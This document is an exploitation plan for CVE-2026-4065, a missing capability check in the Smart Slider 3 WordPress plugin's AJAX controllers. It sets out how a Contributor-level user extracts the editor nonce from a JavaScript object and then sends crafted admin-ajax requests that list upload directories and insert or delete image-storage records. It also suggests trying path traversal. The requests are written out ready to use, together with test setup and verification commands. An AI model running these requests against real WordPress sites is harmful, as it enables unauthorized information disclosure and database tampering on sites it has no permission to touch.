Detailed Exploitation Research Plan: CVE-2026-4065

1. Vulnerability Summary

The Smart Slider 3 plugin (up to and including 3.5.1.33) contains a missing authorization vulnerability in its AJAX handling logic. Specifically, the plugin uses a base controller AdminAjaxController that handles various actions via the wp_ajax_smart-slider3 hook. While the plugin implements nonce validation (validateToken()), it fails to perform capability checks (checkForCap() or validatePermission()) in several sensitive controller actions.

As a result, any authenticated user with access to a page where the nextend_nonce is exposed (such as the WordPress post editor) can perform actions intended for administrators, including listing filesystem directories (Information Disclosure) and creating or manipulating image storage records in the database.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• AJAX Action: smart-slider3
• Vulnerable Parameters:
  • nextendcontroller: The target controller (e.g., browse or image).
  • nextendaction: The target method (e.g., index or addVisual).
  • nextend_nonce: The CSRF token required for validation.
• Authentication: Contributor level or higher.
• Preconditions: The attacker must be authenticated as a Contributor to access the post editor and retrieve the required nonce.

3. Code Flow

1. Entry Point: A request is sent to admin-ajax.php?action=smart-slider3.
2. Routing: The plugin routes the request based on nextendcontroller.
3. Missing Check: In Nextend/Framework/Browse/ControllerAjaxBrowse.php, the actionIndex() method is invoked.
   • Line 19: $this->validateToken(); is called (verifies nextend_nonce).
   • Vulnerability: No call to $this->validatePermission() or current_user_can() follows.
4. Execution (Browse):
   • The code calculates a path relative to Filesystem::getImagesFolder().
   • It uses glob() and scandir() to list contents.
   • Line 95: Returns a JSON response containing the filesystem structure.
5. Execution (Image Manipulation):
   • In Nextend/Framework/Image/ControllerAjaxImage.php, actionAddVisual() (Line 38) calls $this->validateToken().
   • It proceeds to call $model->addVisual() which writes to the database without verifying if the user has permission to manage slider images.

4. Nonce Acquisition Strategy

The nextend_nonce is localized for the backend editor.

1. Authentication: Log in as a Contributor user.
2. Access Editor: Navigate to the new post page (/wp-admin/post-new.php).
3. Script Trigger: Smart Slider 3 enqueues its assets on the editor page to support the "Smart Slider" button in the editor toolbar.
4. JS Variable Extraction: The nonce is stored within the _N2 JavaScript object, specifically inside the AjaxHelper configuration.
   • Use browser_eval to extract it:

     _N2.AjaxHelper.ajaxArray['nextend_nonce']
     

   • Alternatively, it may be found in the global scope if localized via wp_localize_script.

5. Exploitation Strategy

Step 1: Directory Enumeration (Read Access)

List the contents of the WordPress uploads directory to identify sensitive files or folder structures.

• HTTP Request:

  POST /wp-admin/admin-ajax.php?action=smart-slider3&nextendcontroller=browse&nextendaction=index HTTP/1.1
  Content-Type: application/x-www-form-urlencoded
  
  path=/&nextend_nonce=[EXTRACTED_NONCE]
  

• Expected Response: A JSON object containing directories and files keys listing the contents of the base image folder.

Step 2: Image Record Manipulation (Write Access)

Inject a malicious or arbitrary image storage record.

• HTTP Request:

  POST /wp-admin/admin-ajax.php?action=smart-slider3&nextendcontroller=image&nextendaction=addVisual HTTP/1.1
  Content-Type: application/x-www-form-urlencoded
  
  image=vulnerable_test_image.png&value=payload_data_here&nextend_nonce=[EXTRACTED_NONCE]
  

• Expected Response: A JSON object with the visual data, including a new visualId, confirming the record was created in the database.

6. Test Data Setup

1. Create a Contributor user: wp user create attacker attacker@example.com --role=contributor --user_pass=password123.
2. Ensure Smart Slider 3 is active.
3. (Optional) Create at least one slider to ensure the plugin's database tables are initialized: wp eval "Nextend\SmartSlider3\Slider\ModelSlider::create(array('title' => 'Test Slider'));".

7. Expected Results

• The browse/index request should return a listing of the wp-content/uploads directory (or the plugin's configured image root).
• The image/addVisual request should return a success status and a visualId, indicating that a Contributor successfully modified the image metadata store, which normally requires unfiltered_html or Administrator privileges.

8. Verification Steps

After performing the HTTP requests:

1. Check Directory Access: Verify the JSON response from browse/index matches the actual filesystem.
   • ls -R wp-content/uploads
2. Check Database Records: Query the database to see if the visual record was inserted.
   • wp db query "SELECT * FROM wp_nextend2_image_storage WHERE image = 'vulnerable_test_image.png';"
   • Note: The table name prefix might vary based on the environment (usually wp_nextend2_image_storage).

9. Alternative Approaches

If nextendcontroller=browse is blocked or patched differently:

• Delete Visuals: Attempt to delete existing image visuals using nextendcontroller=image&nextendaction=deleteVisual&visualId=[ID].
• Enumerate Subdirectories: Try path traversal-like structures in the path parameter (e.g., path=../../) to see if the realpath check in ControllerAjaxBrowse.php (Line 24) can be subverted, although it appears to attempt to anchor to the root.